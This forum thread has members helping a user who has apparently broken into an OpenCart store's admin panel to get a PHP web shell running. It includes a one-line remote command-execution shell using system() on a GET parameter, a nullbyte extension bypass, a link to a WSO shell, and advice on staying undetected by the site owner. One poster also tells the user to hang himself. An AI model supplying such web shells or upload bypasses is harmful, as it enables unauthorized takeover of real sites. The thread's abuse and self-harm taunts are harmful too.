Thread: [why i am receiving this shell error?](#)

moe00 - March 19, 2014, 6:53 pm

the thing is the token when i upload shell.php in previous version
they used to put the token in url in the shell file " shell.php.(token in url) and upload it.

but in v. 1.5.5.1.1 u can't name the shell.php.(token) the file can not be uploaded on shell.php

when i uploaded the shell, in upload box a new token appears "shell.php.(token different from link up) so what i am doing is saving it.

next --> copy past the link in image and this is what i get how i can fix this?

It looks like your shell file is broken. It's outputting php code as html...

moe00 - March 19, 2014, 7:06 pm

actually not, i uploaded another shell and same error appear why ?

The server isn't executing your php. It's simply treating the file as if it were pure html.

SohnGottes - March 20, 2014, 2:30 am

because it is not saved as php you fucktard. Therefore the server is not executing it as php....
If you had followed my steps from yesterday, you might already have a shell up.....

Is it possible that someone bans this shitface? Every day he opens 3 threads asking for help but doesn't accept any....

RRRoooRRR - March 20, 2014, 5:23 am

Lmao ^^ man chillllll

@OP, bro, that ending is screwing your shell up. Try to upload it but include a nullbyte in its extension. Its either that or the server doesnt have PHP installed, which is highly unlikely lol

-Chosen-

100% tha's what happening cause all steps done as it should be

d1str1ct_9 - March 20, 2014, 9:40 am

It may be a problem with short tags (<?) not supported...

Try uploading a shell with standard tags only, <?php.

moe00 - March 20, 2014, 9:42 am

(Mar 20, 2014 09:40 AM)d1str1ct_9 Wrote: [\[CITE\]](#) It may be a problem with short tags (<?=>) not supported...

Try uploading a shell with "normal" tags only, <?php.

well it might be so ,

can you help me finding it bro?

d1str1ct_9 - March 20, 2014, 9:51 am

Try this <http://files.xakep.biz/shells/PHP/wso.txt>

I didn't check if it's backdoored though...

moe00 - March 20, 2014, 10:02 am

(Mar 20, 2014 09:51 AM)d1str1ct_9 Wrote: [\[CITE\]](#) mmm no, i've checked the source code of the wso2.6 shell, and there's just one short tag in the login page, that should not cause any problem, even if the server doesn't support them...

Short tags are not the problem so...

EDIT

Or maybe here <?=\$_SERVER['HTTP_HOST']?> php doesn't recognize the first tag and reads the second as a closure tag for the entire script, thus displaying the rest of the code in the html page...

Try this <http://files.xakep.biz/shells/PHP/wso.txt>

I didn't check if it's backdoored though...

and how i know if its backdoored!

and are you familiar with opencart brother? i mean any way i can upload a shell in other way if u know in opencart

d1str1ct_9 - March 20, 2014, 10:15 am

OK, the problem is not short tags!

Before <?=> there's another php tag that closes part of the script, so even if the server did not recognize <?, it would just print <?=\$_SERVER['HTTP_HOST']?> on the login page and nothing else...

Can't help you more now! I'm not familiar with opencart.

I told you another way..... ?

moe00 - March 20, 2014, 6:22 pm

guys? anyone can update me with something useful please?!

SohnGottes - March 21, 2014, 1:10 am

yes we did, but you don't listen. So go hang yourself or jump out of a window, thank you.

moe00 - March 21, 2014, 5:22 am

sohngotts

1. Create your shell, name it whatever you want and put this in:

Code:

```
<?php echo system($_GET["c"]); ?>
```

where i put this code bro in the shell file?

SohnGottes - March 21, 2014, 5:51 am

no in an empty file. your file should just have that line

moe00 - March 21, 2014, 6:04 am

so this is the shell. the codes u posted !

btw , i couldn't change the error file name to error.php

SohnGottes - March 21, 2014, 6:23 am

(Mar 21, 2014 06:04 AM)moe00 Wrote: [\[CITE\]](#) btw , i couldn't change the error file name to error.php
oh ok, if you can't change the file extension to .php this method won't work

moe00 - March 21, 2014, 6:58 am

so what do u think was the error that happened with what i wrote in the first post bro?

its reading it as html or ?

Therefore the server is not executing it as php....You're both wrong and arrogant. It isn't executing his PHP - Correct. Why? You can't possibly know when you lack the code server-sided. Maybe wrappers are being applied, sandboxed systems or anything of the sort to prevent PHP execution? Maybe it's off? Maybe the website doesn't use PHP? You don't know.

moe00 - March 21, 2014, 8:40 am

please help me the admin is getting back his username and password!! please help!!!

SohnGottes - March 21, 2014, 8:48 am

opencart is running on the server, so php is installed and running fine. It saves files uploaded through admin control panel with a token as extension, I don't see why it would not be the most logical reason to assume, that that is the problem.

(Mar 21, 2014 08:40 AM)moe00 Wrote: [\[CITE\]](#) please help me the admin is getting back his username and password!! please help!!! Sorry can't think of anything else to do. For next time: Don't change the admin password, you might have stayed undetected longer.

Btw: What was the problem with changing the logfile name to "error.php" ?

moe00 - March 21, 2014, 8:55 am

Btw: What was the problem with changing the logfile name to "error.php" ?

it gives error warning , and when i click save and come back to page the file comes back error.txt

lol am now changing user and pass

and he he is keeping changing them please help me!!

I was throwing out common guesses, not going to bother with his website. You go my point.
